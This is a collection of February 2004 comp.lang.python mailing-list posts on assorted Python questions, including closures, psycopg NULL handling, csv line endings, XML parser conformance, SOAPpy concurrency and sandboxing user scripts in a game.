Date: Thu, 19 Feb 2004 10:31:03 -0800 (PST)
Subject: ANN: matplotlib-0.50 - python plots
References: <mailman.76.1077040599.31398.python-list@python.org>
Message-ID: <20040219183103.C08C5DDE66@rmta04.mta.everyone.net>

Hi John,

Thanks for the nudge in the right direction.

I looked for instances of iconv.dll and found two in lib and bin dirs
of a tcl install.  I'm not using tcl (just downloaded it to look at a
long time ago) so I removed that, and the uninstaller crashed, and 
I had to clean up junk by hand, and it seemed a good idea to reboot XP,
and . . . voila, I can run the scripts in the tutorial now!

Thanks,

Dave



From peter at engcorp.com  Tue Feb 24 14:17:10 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 24 Feb 2004 14:17:10 -0500
Subject: Don't send e-mail to Guido (was Re: Thoughts about Python)
References: <mailman.27.1077626904.8594.python-list@python.org>
	<c1frl5$p9i$1@panix1.panix.com>
Message-ID: <403BA336.8E01E454@engcorp.com>

Aahz wrote:
> 
> The only time you should send e-mail to Guido directly is when it's
> something that specifically needs his personal attention.  As a "for
> example", I'm the "General Nag" for PyCon, and Guido prefers to have his
> name on many of the announcements, so I send Guido reminders to post
> announcements.

And thank you, Aahz, for that.  You've been doing an excellent job!  :-)

-Peter


From gerrit at nl.linux.org  Thu Feb 19 07:13:01 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Thu, 19 Feb 2004 13:13:01 +0100
Subject: PractiCalc - A New CALCULATOR
In-Reply-To: <c0tn71$2m4$1@panix3.panix.com>
References: <mailman.73.1077037791.31398.python-list@python.org>
	<c0tn71$2m4$1@panix3.panix.com>
Message-ID: <20040219121301.GB4120@nl.linux.org>

Aahz wrote:
> >More powerful than your usual calculator - more user-friendly than a
> >spreadsheet.
> 
> Assuming this isn't spam, I just discarded a post c.l.py.announce; if
> this has any Python relevance, please resubmit your post, making the
> connection clear.

Well, the e-mail says:

You are receiving this e-mail as part of a direct marketing campaign for
PractiCalc software on Window. This unsolicited e-mail is intended
only to directly inform you of this new and practical piece of
software. It is not intended to annoy or cause any damage to your
computer system. Your e-mail address was obtained from public records.

So it *is* spam...

Gerrit.

-- 
Weather in Twenthe, Netherlands 19/02 11:25 UTC:
	2.0??C Scattered clouds partly cloudy wind 6.3 m/s ENE (57 m above NAP)
-- 
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From paul at prescod.net  Wed Feb 25 04:19:05 2004
From: paul at prescod.net (Paul Prescod)
Date: Wed, 25 Feb 2004 01:19:05 -0800
Subject: Some language proposals.
In-Reply-To: <tyffzczoahx.fsf@pcepsft001.cern.ch>
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<tyffzczoahx.fsf@pcepsft001.cern.ch>
Message-ID: <403C6889.8070007@prescod.net>

Jacek Generowicz wrote:

> 
> Could somebody point me to an explanation of why closures are broken
> in this way in the first place, please ?

a = 5
def b():
	a = 6
	print a
b()
print a

What will this print?

5
6

Okay, then.

a = 5
def b():
	a = 6
	def c():
		a = 7
		print a
	print a
	c()

print b()()
print a

What does this print?

7
6
5

Python uses a single syntax for declarating a variable and assigning to 
it. This causes a problem for Lisp purists but is otherwise helpful.

  Paul Prescod





From surrender_it at remove.yahoo.it  Fri Feb 20 02:47:13 2004
From: surrender_it at remove.yahoo.it (gabriele renzi)
Date: Fri, 20 Feb 2004 07:47:13 GMT
Subject: disappearing of global perlish variables
Message-ID: <1deb305l037b7ao9esroc2ass30esd0d3q@4ax.com>

Hi gurus and nubys,

matz said more than once that the perlish global variables like
$/ or $: are going away in future releases.

I wonder if is there already a decision, what they will become?
I mean, it's easy to think that $DEFAULT_INPUT may become a class
variable of IO but what about $1..$n or $: ?

More, would it be possible to have some kind of backward compat via an
external module ? 


From usenet at mail-2-me.com  Thu Feb  5 10:28:30 2004
From: usenet at mail-2-me.com (Dirk Hagemann)
Date: 5 Feb 2004 07:28:30 -0800
Subject: How to start a DTS Package on MS-SQL-Server?
References: <mailman.1050.1075484359.12720.python-list@python.org>
	<bvevhh$akj$06$1@news.t-online.com>
	<bvfnr4$2lr$1@nemesis.news.tpi.pl>
Message-ID: <a37aa972.0402050728.8871903@posting.google.com>

Jarek Zgoda <jzgoda at gazeta.usun.pl> wrote in message news:<bvfnr4$2lr$1 at nemesis.news.tpi.pl>...
> Dirk <usenet at mail-2-me.com> pisze:
> 
> > Sorry, I think I forgot to write that I want to start this from a remote 
> > computer. So I can't simply use popen. But I know about this dtsrun 
> > executable (that's how the sql-server does it itself...).
> 
> This can be painful... Try to schedule your package and look at
> "Operating system comand" field in scheduled job properties. You will
> get the idea on how packages are run by dtsrun.exe.
> 
> The other idea worth exploring is "MS OLE DB Provider for DTS Packages"
> -- loosely documented component of any contemporary (>2.5) MDAC package.
> When I needed to run packages from my program, I had no time to dig in
> MSDN, so I cann't say anything more.

I think I got it:
To execute a DTS package saved as a COM-structured storage file, use:
dtsrun /Ffilename /Npackage_name /Mpackage_password
To execute a DTS package saved in the SQL Server msdb database, use:
dtsrun /Sserver_name /Uuser_nName /Ppassword /Npackage_name
/Mpackage-password
To execute a DTS package saved in Repository, use:
dtsrun /Sserver_name /Uuser_nName /RRepository_nName /Ppassword
/Npackage_name /Mpackage-password

I found this in "Online-Books" of MS-SQL-Server 7.0.

I'll try this now and if it doesn't work I will just schedule the
DTS-Package.

Dirk


From tim.one at comcast.net  Thu Feb  5 12:20:54 2004
From: tim.one at comcast.net (Tim Peters)
Date: Thu, 5 Feb 2004 12:20:54 -0500
Subject: spam classification breaker
In-Reply-To: <m3r7x95vz1.fsf@pc150.maths.bris.ac.uk>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEENIMAB.tim.one@comcast.net>

[Michael Hudson]
> I did wonder what the point of some of the stuff that ends up in my
> unsure folder was.  It seems so mashed up that even if I wanted to
> work out what the hell they were selling me I would have a hard time
> figuring it out.

Those usually aren't attempts to defeat Bayesian classifiers (and as Dr.
Graham-Cumming noted in the article, "word salad" isn't effective against
such classifiers).  They're usually attempts to frustrate fingerprinting
schemes -- lots of filters work by trying to measure the similarity of a new
message to a database of "fingerprints" derived from known spam.  Lots of
spam has always contained random gibberish strings to defeat the simplest
approaches of that kind.  A newer twist is adding random dictionary words
("word salad"), because some fingerprinting schemes got smart enough to
ignore non-dictionary words, or even to penalize a message for containing
gibberish.

Another thing feeding into this is that the smaller spammers seem to have
trouble figuring out how to use their software.

...

>> I have to deduce *your* magic words, not mine.  I have to send email
>> to you, and deduce what you did and didn't look at.  This is an
>> expensive process for the spammer, of course.

> Surely there comes a point when just sending me mail selling something
> I actually want becomes cheaper...

Note that the article didn't say spammers *are* doing this, it's just
something they *could* do.  AFAIK, it's just a theoretical attack at this
point.  Sales is a percentage game, and spammers prosper now on response
rates so low that any increase in the cost of delivering spam (which is very
cheap per unit for them, but not free) hurts.  At some point it will indeed
become more profitable to use traditional targeted advertising, which is
much more expensive to produce (it's not cheap for me to guess what you'd
buy), but also enjoys much higher response rates.




From maxm at mxm.dk  Tue Feb  3 02:54:14 2004
From: maxm at mxm.dk (Max M)
Date: Tue, 03 Feb 2004 08:54:14 +0100
Subject: Smarter way of doing this?
In-Reply-To: <cab22418.0402021554.95d2f3b@posting.google.com>
References: <401e4d57$0$295$edfadb0f@dread12.news.tele.dk>
	<cab22418.0402021554.95d2f3b@posting.google.com>
Message-ID: <401f53ad$0$287$edfadb0f@dread12.news.tele.dk>

Jim Jewett wrote:

> Max M <maxm at mxm.dk> wrote in message news:<401e4d57$0$295$edfadb0f at dread12.news.tele.dk>...
> 
> You may wish to look at the GRADES example in the bisect documentation.

First of, thanks for the replies!

I finally chose a combination of the suggested approaches, and ended up 
with something I find is both more functional and nicer to look at than 
my first try.

regards Max M


################################

from random import random
from bisect import bisect

class Selector:

     "Returns random elements by probability"

     def __init__(self, probabilities, elements):
         self.sum = sum(probabilities)
         self.decorated = zip(probabilities, elements)
         self.decorated.sort()

     def get(self):
         "Randomly returns an element by probability"
         rnd = random() * self.sum
         index = bisect(self.decorated, (rnd, 0))-1
         return self.decorated[index][-1]

     def get_range(self, n):
         "Randomly returns a range of elements by probability"
         return [self.get() for itm in range(n)]


if __name__ == '__main__':

     probabilities = []
     for f in range(0,10):
         probabilities.append(1.0 / (f+1.0))

     elements = ['a','b','c','d','e','f','g','h','i','j',]

     s = Selector(probabilities, elements)
     result = s.get_range(1000)
     result.sort()

     print result


From gconf-list-admin at gnome.org  Sun Feb  8 05:46:01 2004
From: gconf-list-admin at gnome.org (gconf-list-admin at gnome.org)
Date: Sun, 08 Feb 2004 05:46:01 -0500
Subject: Your message to gconf-list awaits moderator approval
Message-ID: <20040208104601.18769.5224.Mailman@moniker.gnome.org>

Your mail to 'gconf-list' with the subject

    Hello

Is being held until the list moderator can review it for approval.

The reason it is being held:

    SpamAssassin thinks there may be spam in this message.

Either the message will get posted to the list, or you will receive
notification of the moderator's decision.



From newsgroups at jhrothjr.com  Sun Feb  8 07:37:03 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Sun, 8 Feb 2004 07:37:03 -0500
Subject: software design question
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<c03h78$dfc$1@news.service.uci.edu>
	<c03ris$c2t$2@news.rz.uni-karlsruhe.de>
	<c04je2$d66$1@news.service.uci.edu>
	<c057uq$4ph$1@news.rz.uni-karlsruhe.de>
Message-ID: <102cbf63tkj9c0f@news.supernews.com>

"Uwe Mayer" <merkosh at hadiko.de> wrote in message
news:c057uq$4ph$1 at news.rz.uni-karlsruhe.de...
> Josiah Carlson wrote:
> >  From the sounds of your posts, you want your software to be "modular",
> > in that you want have one file for each of the different components, but
> > you don't want to spend the time to pass down all the proper references.
> >   As a result, you want to have a single global namespace for all of
> > your modules, so that you don't have to pass anything down.
>
> Almost. I want to write software from components. I want a simple, yet
clear
> and effective interface for the components to communicate with eachother.
> The components will be dynamically loaded. If available they have to fit
> like a piece in a puzzle, if ther're unavailable all related functionality
> will be unavailable - *not* raise exceptions or cause program abortion,
> etc.
>
> I simply cannot pass all components to all others, because I don't yet
know
> which components there might be.
>
> Having a single global name space is poor software design. It makes you
not
> having to think about "inter module communication", because there is none
> to take care of, because you can call virtually everything from
everywhere.
>
> > There is another kludge:
> [...]
> > I would suggest you just put everything into a single file.  500 lines
> > is not that large.  Heck, a few thousand isn't even that bad, as long as
> > you pay attention to what you are doing and use an editor with a
> > browsable source tree/class heirarchy, and comment liberally.
>
> Wow! You can't seriously suggest this as a software design recommendation!
>
> Importing the complete namespace from one module into another is exactly
> what will cause you fourty hours of debugging code afterwards.
>
> Do you think there is a reason why in Java every class got to be put into
> one source file - or is this just a bad language restriction?
> Don't get me wrong, I'm not critisizing Python here.
>
> Searching the litherature I found the following on how to model
interaction
> between modules:
>
> - relations between modules should be hierachial, i.e. non-cyclic
>
> problem with circular dependencies: "nothing works until everything works"
>
> benefits of non circular design:
> 1. development and testing step by step is possible,
> 2. you can build subsets for
>    - use in other systems
>    - own re-use
>
> *sandwiching*:
>
> cyclic dependencies may be resolved by refining the modular structure:
>
> A <==> B
>
> Suggestion 1:
>
> A1 ==> B ==> A2
> A1 ========> A2
>
> Suggestion 2:
>
> A2 ==> B2 ==> A1 ==> B1
> A2 =========> A1     B1
>        B2 =========> B1

As I suggested in another post, this doesn't always work in practice.
Another term for hierarchical design is layered architecture. The
rule in a layered architecture is "call down, notify up." It's the higher
layer's responsibility to call down to install callbacks so that the
lower layer can notify up at run time.

What makes this work is that the notifier on the lower layer
can't depend on there being any callbacks installed. In other
words, it should be able to do whatever it does if nobody
is listening.

John Roth
>
> Ciao
> Uwe




From rmunn at pobox.com  Thu Feb 19 12:40:36 2004
From: rmunn at pobox.com (Robin Munn)
Date: Thu, 19 Feb 2004 17:40:36 GMT
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <oy6Zb.11289$PY.5153@newssvr26.news.prodigy.com>

Andrew Koenig <ark at acm.org> wrote:
> I have a proposal for an alternative syntax that solves both of these
> problems:
>
>     while:
>         x = foo()
>     and while x != 0:
>         bar(x)
>
> This example actually incorporates two changes:
>
>     1) "while:" is equivalent to "while True:"
>
>     2) "and while <condition>:" is an exit from the middle of the loop,
> analogously to PEP 315.

I'm -1 on this idea, because "and while" just does not feel Pythonic to
me. I read the code above and see a loop that does "x = foo()" forever,
then when that loop is finished (whenever that may happen) proceeds to
do bar(x) as long as x != 0. In other words, the syntax is very
counter-intuitive to me, and causes me to do a couple of double-takes
before I figure it out.

I've sometimes wished for a construct like do ... while, but I would
rather live without one than have one that's counter-intuitive.

-- 
Robin Munn
rmunn at pobox.com


From missive at frontiernet.net  Wed Feb 18 11:31:09 2004
From: missive at frontiernet.net (Lee Harr)
Date: Wed, 18 Feb 2004 16:31:09 GMT
Subject: psycopg NULL
Message-ID: <slrnc374qc.1dfn.missive@homer.easthighschool.net>


When I am retrieving rows using psycopg, a NULL value
from the database will be translated to python None.

What I cannot figure out is how to insert a NULL.



import psycopg

DSN = 'dbname=test6 user=auth1'
conn = psycopg.connect(DSN)
curs = conn.cursor()

curs.execute('CREATE TABLE foo (i integer)')
conn.commit()

# These all work
curs.execute('INSERT INTO foo (i) VALUES (%s)' % 5)
curs.execute('INSERT INTO foo (i) VALUES (%i)' % 4)
curs.execute('INSERT INTO foo (i) VALUES (%d)' % 3)
conn.commit()

# None of these work ...
#curs.execute('INSERT INTO foo (i) VALUES (%s)' % None)
#curs.execute('INSERT INTO foo (i) VALUES (%d)' % None)
#curs.execute('INSERT INTO foo (i) VALUES (%i)' % None)
#conn.commit()

# If I insert NULL some other way, this works
curs.execute('SELECT * FROM foo')
rows = curs.fetchall()
for row in rows:
    if row[0] is None:
        print 'None!'



Any suggestions?



From akniekko at yahoo.com  Tue Feb  3 21:57:16 2004
From: akniekko at yahoo.com (niekko)
Date: Tue, 3 Feb 2004 17:57:16 -0900
Subject: newbie with a gui question
Message-ID: <1020nse8569lr70@corp.supernews.com>

I wrote a program for a class and now have to
make a gui for it.  I've done several hours of
research and am stuck.  Can someone point me
in the right direction, please????

Here's the original program..


#Petty_Cash.py
from Tkinter import *
import time
import string

true = 1
false = 0

class Petty_Cash:
    def __init__(self, initial):
        self.balance = initial
        print "Account created.  Your beginning balance is", "$",
self.balance
        print time.ctime()

    def deposit(self, amt):
        self.balance = self.balance + amt
        print "$", + amt, "has been deposited to your account."
        print "Your new balance is", self.balance
        print time.ctime()

    def withdraw(self, amt):
        if self.balance >= amt:
            self.balance = self.balance - amt
            print "$",- amt, "has been withdrawn from your account."
            print "Your new balance is", "$", self.balance
            print time.ctime()
        else:
            print "Insufficient funds in account to withdraw", "$", amt
            print "Please ensure sufficient funds exist for withdrawl
amount"
            print "Your current balance is", "$", self.balance
            print time.ctime()

    def getbalance(self):
        print time.ctime()
        return self.balance






From uche at ogbuji.net  Wed Feb 11 01:30:01 2004
From: uche at ogbuji.net (Uche Ogbuji)
Date: 10 Feb 2004 22:30:01 -0800
Subject: An XML parser is an XML parser.  Period.
References: <bv80qq$kbg$1@sunnews.cern.ch>
	<mailman.904.1075287732.12720.python-list@python.org>
	<d116fbae.0402092332.22936b0@posting.google.com>
	<40290854.15BB5CF0@engcorp.com>
Message-ID: <d116fbae.0402102230.6c0f4770@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<40290854.15BB5CF0 at engcorp.com>...
> Uche Ogbuji wrote:
> > 
> > Pierre N <pierren at mac.com> wrote in message news:<mailman.904.1075287732.12720.python-list at python.org>...
> > > I'm using pyRXP, and it's great.
> > > It's using one tuple, not dictionnaries.
> > > Very very fast.
> > > By the way I'm just starting using this package, anybody met any
> > > problems with pyRXP?
> > 
> > I did.  It's not an XML parser :-(.  It does not accept character
> > entities such as &#8230; (the example that bit me), giving meaningless
> > "error" messages along the lines: "not a valid 8-bit XML character".
> > If you need an XML parser, use PyRXPU, which comes in ReportLab CVS
> > only.  It is not as fast as PyRXP, but conformant in my testing, and
> > the point of XML is conformance, not speed at all costs.  If you want
> > speed at all costs, use CSV or some other plain text format.
> 
> Hmm... so it's your opinion that *all* XML parsers must handle *all*
> aspects of XML?

XML is clear on what a Parser *must* support.  The full character
production is one of those things. From XML 1.0, section 2.2:

Character Range
[2] 	Char 	::= 	#x9 | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] |
[#x10000-#x10FFFF]

There is no "option" to not support characters greater than #xFF.  XML
parsers *can* leave off handling some aspects of XML, external DTD
subsets, for example, but you can not be as fundamentally
non-conformant as PyRXP and still call yourself an XML parser.

This is not just an academic matter.  There are a *vast* number of
useful and heavily-used characters of code point higher than U+FF and
if parsers decided on a whim to pick and choose what to support the
result would be complete and utter chaos.


> If not, I think you should back off on the criticism
> of PyRXP as being "not an XML parser" and simply point out that it
> doesn't handle all aspects of XML because it is intended to provide
> a very fast/heavily optimized approach to parsing only certain kinds
> of XML.  It's a valid choice to do so, though of course if PyRXP is
> promoted as a "full" XML solution that might be inaccurate.

PyRXP is not an XML parser.  It's that simple.  I stand by that veru
strong satement, and I'd be surprised if XML expert refusaes to
corroborate it.

I do want to point out that PyRXPU does seem to be a proper XML
parser, and is what people should use instead if they like the
ReportLab products.

Of course if yu don't really need an XML parser, feel free to use
PyRXP.  Just don't call it what it isn't.

--Uche
http://uche.ogbuji.net


From teeloranTakeThisAway at sunpoint.net  Thu Feb  5 04:23:34 2004
From: teeloranTakeThisAway at sunpoint.net (Teuvo Eloranta)
Date: Thu, 05 Feb 2004 09:23:34 GMT
Subject: csv module usage in w2k -> lineterminator in dialect?
Message-ID: <40220BE3.1B3DB7DF@sunpoint.net>

Hi,

I have a question regarding csv module usage in W2K
(ActivePython-2.3.2-232-win32-ix86)

http://www.python.org/doc/current/lib/csv-fmt-params.html says:
"lineterminator
     The string used to terminate lines in the CSV file. It defaults to
'\r\n'."

If I use:
lineterminator = '\n' in the dialect
the file ends get's generated in hex: 0D OA  (Carriadge return, new
line)

but if I use:
lineterminator = '\r\n' or the ready-made excel dialect, dialect='excel'

I get the file ends in hex: 0D 0D 0A
--> When Excel reads CSV file, every other line is empty.

Windows uses OD OA in the line end in text files, so shouldn't the
module produce it if set:
lineterminator = '\r\n', not lineterminator = '\n'?

thanks,

-Teuvo



From sax at csmisc72.cs.chalmers.se  Wed Feb 18 09:16:25 2004
From: sax at csmisc72.cs.chalmers.se (Stefan Axelsson)
Date: 18 Feb 2004 14:16:25 GMT
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com> <40330A95.DF809EAA@alcyone.com>
	<4f0a9fdb.0402180457.6c96853d@posting.google.com>
Message-ID: <slrnc36stp.2ho.sax@csmisc72.cs.chalmers.se>

In article <4f0a9fdb.0402180457.6c96853d at posting.google.com>, Miki Tebeka wrote:
> Just do it with generators:
> for line in iter(inputFile.readline, ""):

Or since there's already a tp_iter slot that does that in files these
days:

for line in inputFile:
	#do stuff

I'm on the side of the argument that says more interators/generators
than 'funny' looping constructs. Most if not all of the examples I've
seen so far could be written with a generator/iterator to good
effect. It's higher level and clearer code; more Pythonic IMHO.

Stefan,
-- 
Stefan Axelsson                  (email at http://www.cs.chalmers.se/~sax)


From tim.hochberg at ieee.org  Wed Feb 11 10:52:34 2004
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Wed, 11 Feb 2004 08:52:34 -0700
Subject: HowTo exec every line of a file inside python program
In-Reply-To: <c0di6f$7nb$03$1@news.t-online.com>
References: <c0di6f$7nb$03$1@news.t-online.com>
Message-ID: <402A4FC2.5050402@ieee.org>

Joe Richett wrote:

> Hi all,
> 
> I have a python program and I have some "user defined" command stored in 
> a separate text file. Is there a builtin command with which I can load 
> the "user defined"-file and execute every command line by line, e.g.

Look up execfile under built-in functions is the docs.

-tim




> 
> #
> # MAIN PROGRAM
> #
> 
> def a(i):
>   print "here we are #", i
> 
> if __name__ == "__main__":
>   for i in range(10):
>     a(i)
>     <execute everything from FILE.PY>
> 
> ------------------------------------------------------
> 
> #
> # USER DEFINED FILE
> #
> print "here we are in the user defined file"
> 
> 




From ark at acm.org  Wed Feb 18 09:01:44 2004
From: ark at acm.org (Andrew Koenig)
Date: Wed, 18 Feb 2004 14:01:44 GMT
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
	<7xwu6khofz.fsf@ruckus.brouhaha.com>
Message-ID: <cfKYb.44192$hR.1014416@bgtnsc05-news.ops.worldnet.att.net>


"Paul Rubin" <http://phr.cx at NOSPAM.invalid> wrote in message
news:7xwu6khofz.fsf at ruckus.brouhaha.com...
> Erik Max Francis <max at alcyone.com> writes:
> > do:
> >     line = inputFile.readline()
> > while line:
> >     ...
> >     line = inputFile.readline()
>
> So it's yet another workaround for Python's lack of assignment
> expressions.  I like
>
>     while (line := inputFile.readline()):
>         ...
>
> a lot better.

I don't, because it limits what is done before the test to a single
expression.

This PEP is really a generalization of the "while (cond) expr" and "do expr
while(cond);" statements in C.  C allows the loop exit to be one expression
away from the beginning or one expression away from the end of the loop;
this PEP would allow it anywhere.




From OlafMeding at noSpam.compuserve.com  Mon Feb  2 21:46:14 2004
From: OlafMeding at noSpam.compuserve.com (Olaf Meding)
Date: Mon, 2 Feb 2004 20:46:14 -0600
Subject: HappyDoc
Message-ID: <401f0a47$1_2@newspeer2.tds.net>

It there a native Windows version available?

I downloaded it from sourceforge but it needs cygwin/bash.

I am also looking for documentation.  Thanks.


Olaf




From tdelaney at avaya.com  Thu Feb 12 18:04:26 2004
From: tdelaney at avaya.com (Delaney, Timothy C (Timothy))
Date: Fri, 13 Feb 2004 10:04:26 +1100
Subject: replicating objects
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE013085D4@au3010avexu1.global.avaya.com>

> From: Stefan Seefeld
> 
> I'v got a composite object that I want to replicate
> (say, similar to C++'s copy constructor). What is the
> best way to implement that ? Are there any metaprogramming
> techniques that could me help to achieve what I want ?

Have a look at the 'copy' module.

Tim Delaney



From andrew-pythonlist at puzzling.org  Fri Feb 27 00:24:56 2004
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Fri, 27 Feb 2004 16:24:56 +1100
Subject: Anyone using the SOAPpy library?
In-Reply-To: <B5A%b.77175$RTW1.72970@news01.bloor.is.net.cable.rogers.com>
References: <B5A%b.77175$RTW1.72970@news01.bloor.is.net.cable.rogers.com>
Message-ID: <20040227052456.GC3468@frobozz>

On Fri, Feb 27, 2004 at 04:56:01AM +0000, Bill wrote:
> Is anyone using the SOAPpy library?  I just started looking at this was was 
> pretty impressed with how easy it is to set up a server, the readme gives a 
> short example of a 'hello' sever/client.
> 
> But I realized the server doesn't deal with multiple requests, if you set 
> up a more serious and send something to the server, then a second, it waits 
> until the first is completed.  Now what I'd like to do is have it deal with 
> multiple client at a time.  I've seen proxies and it looks like the way to 
> do it is with asyncore (and maybe asynchat) but haven't figured it out.
> 
> Could anyone tell how it is done, or point me in the right direction?

Twisted has SOAP support built on top of SOAPpy:
    http://twistedmatrix.com/documents/howto/xmlrpc#auto4

Note that like asyncore, Twisted is asynchronous and does all its IO in a
single thread, so a single request can block the entire server if you write
blocking code.  The Twisted docs cover various techniques for dealing with
this problem, and the mailing list is very helpful.

With Twisted's SOAP support, the simplest way is probably to make your
soap_foo handler methods call reactor.deferToThread to do blocking work in a
thread, but threads aren't the only way to achieve concurrency.

-Andrew.




From bob at redivi.com  Fri Feb 27 18:57:55 2004
From: bob at redivi.com (Bob Ippolito)
Date: Fri, 27 Feb 2004 18:57:55 -0500
Subject: Running insecure python code
References: <hQq%b.41604$BD3.8026233@juliett.dax.net>
	<mailman.189.1077849062.8594.python-list@python.org>
	<2004022623031275249%bob@redivicom>
	<sOO%b.41951$BD3.8059632@juliett.dax.net>
Message-ID: <2004022718575516807%bob@redivicom>

You can try looking into PyPy or something.  In practice, an 
interpreter written in Python is probably going to be far too slow to 
be used for any sort of modern game.

You're probably better off just not worrying about the "safety" and 
giving them regular Python.  When something secure and/or sufficiently 
multistate exists, you could migrate.

There is also the possibility of running these user tasks in separate 
processes altogether (or in just one) and brokering objects between the 
two (i.e. sending pickles, or something more sanitized if you're REALLY 
concerned about security).  This would let you use operating system 
facilities to monitor the resource consumption and would give you the 
same kind of security that you have between any two separate processes. 
 The IDLE IDE actually does something like this for running an 
interpreter, and I believe it can even do debugging this way.

-bob

On 2004-02-27 16:39:36 -0500, Noen <not.available at na.no> said:

> Bob Ippolito wrote:
> Perhaps writing a new script language using the builtin parser module
> would solve the problems... Any pre-made scripting languages written in
> python out in the wild?
> 
> | On 2004-02-26 21:21:37 -0500, "Terry Reedy" <tjreedy at udel.edu> said:
> |
> |>
> |> "Noen" <not.available at na.no> wrote in message
> |> news:hQq%b.41604$BD3.8026233 at juliett.dax.net...
> |>
> |>> Im developing a game where the players will program their equipment with
> |>> python. Are there any ways to run insecure code?
> |>
> |>
> |> safely, without letting
> |>
> |>  > clients mess with the server-code through their own code, or even DOS
> |> the box
> |>
> |>> by using up too much memory.
> |>
> |>
> |> There have been several threads on this topic.  Quick answer: nothing as
> |> good as you would want.  Stackless, with its tasklets, may be your
> |> best bet
> |> once updated to run with 2.3.3.
> |
> |
> | Even with stackless, you're not going to be able to stop them from using
> | "too much memory".  Besides, you can't stop a determined and experienced
> | python hacker from getting ANYTHING (even if it's written in C) ;)
> |
> | Stackless 3.0 (Python 2.3.3) compiles and works just fine from CVS HEAD,
> | and I believe windows binaries are even available.  Of course,
> | documentation is lacking, and we're planning to do quite a bit of stuff
> | during the sprints next month.. but it's good enough to use if you
> want to.



From pinard at iro.umontreal.ca  Sat Feb 21 08:58:54 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Sat, 21 Feb 2004 08:58:54 -0500
Subject: Python program organization
In-Reply-To: <6fGZb.25259$tM5.21166@fed1read04>
References: <6fGZb.25259$tM5.21166@fed1read04>
Message-ID: <20040221135854.GA2290@titan.progiciels-bpi.ca>

[Derek W]

> Is it proper to break the program up into modules and put all of the
> modules in a package even if the modules would be of little or no use
> to others (such as the program specific GUI code)?

Hi, Derek.  It looks proper to me.  You might want to break a big
package into sub-packages, but all of it usually goes into a single
directory hierarchy.

> Would this package then go under Python's site-packages directory when
> the program is installed?

This is the most natural thing to do.

> Would distribution of a program like this use distutils?

Why not? :-)

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From jacek.generowicz at cern.ch  Wed Feb 25 08:54:18 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 25 Feb 2004 14:54:18 +0100
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<mailman.58.1077649530.8594.python-list@python.org>
	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>
	<mailman.88.1077699734.8594.python-list@python.org>
	<tyf1xojnzwp.fsf@pcepsft001.cern.ch>
	<m34qtffidu.fsf@pc150.maths.bris.ac.uk>
Message-ID: <tyfwu6bmfhx.fsf@pcepsft001.cern.ch>

Michael Hudson <mwh at python.net> writes:

> Jacek Generowicz <jacek.generowicz at cern.ch> writes:
> 
> > Paul Prescod <paul at prescod.net> writes:
> > 
> > > I disagree. Closures are rare in Python because Python is primarily an
> > > OOP language.
> > 
> > I disagree, Python is a multi-paradigm language ... I fail to see how
> > this has any bearing on the use of closures ... 
> 
> Really?  Paul is saying "if you are in a situation in Python where you
> want to use a read-write closure, you'll probably be happier if you
> use an object-based solution instead".
> 
> Now you may *disagree* with this point, but I find it hard to believe
> you don't *see* it.

Aaah, OK, _if_ you think that closures are _only_ a way of faking
objects, _then_ claiming that Python is primarily OO does have a
bearing on the use of closures. Forgive me for not pursuing
this tangent any further.

> Using closures to fake objects sucks (in scheme or CL as much as in
> Python).

And using objects (err ... instances of classes) to fake stateful
functions sucks just as much.

When I need "objects" I use objects, and when I need closures I want
to be able to use closures.

> Can you post an example of using a read-write closure that you think
> wouldn't be better off as an object (invent syntax as necessary...).
> No-one was very convincing at this last time it went around on
> python-dev.

Sure. I have some stateful methods of classes (which I create
dynamically and stick onto the class as the information about the
existence of the method becomes available). By implementing them as
closures I can just stick them on to the class. If I were to implement
them as instances then I'd have to reimplement all the descriptors
that take care of turning functions into bound or unbound methods.

[At this point I'd love someone to step up and show me how to re-use
the existing FunctionType descriptors in my own classes.]

Another example. I make quite heavy use of a trivial memoizer. The
closure verison is much shorter, clearer and faster. (I want it to be
writeable because I sometimes want to 'prime' the cache, or do other
things to it ... so I'm giving myself access to the cache by binding
the cache as a function attribute of the closure, before returning it
from the memoizer)

In short, whenever I want a _function_ which happens to have some
internal state, I'd much rather use a closure than an instance of a class.

> > all of which is irrelevant to my original point, which was to note
> > out that saying "people don't use it much" is not a very convincing
> > argument for not fixing something that is broken ... 
> 
> OK, how about the argument above?

My original point, although prompted in a context which discussed
closures, in independent of closures.

[Yes, I happen to wish that closures were writeable as god intended
them to be, dammit :-), but that is completely independent of my
objection to the self-fulfilling prophecy argument.]


From edvard+news at majakari.net  Tue Feb 17 06:54:34 2004
From: edvard+news at majakari.net (Edvard Majakari)
Date: Tue, 17 Feb 2004 13:54:34 +0200
Subject: Unit-testing single function with large number of different inputs
Message-ID: <87ptcdsyyt.fsf@titan.staselog.com>


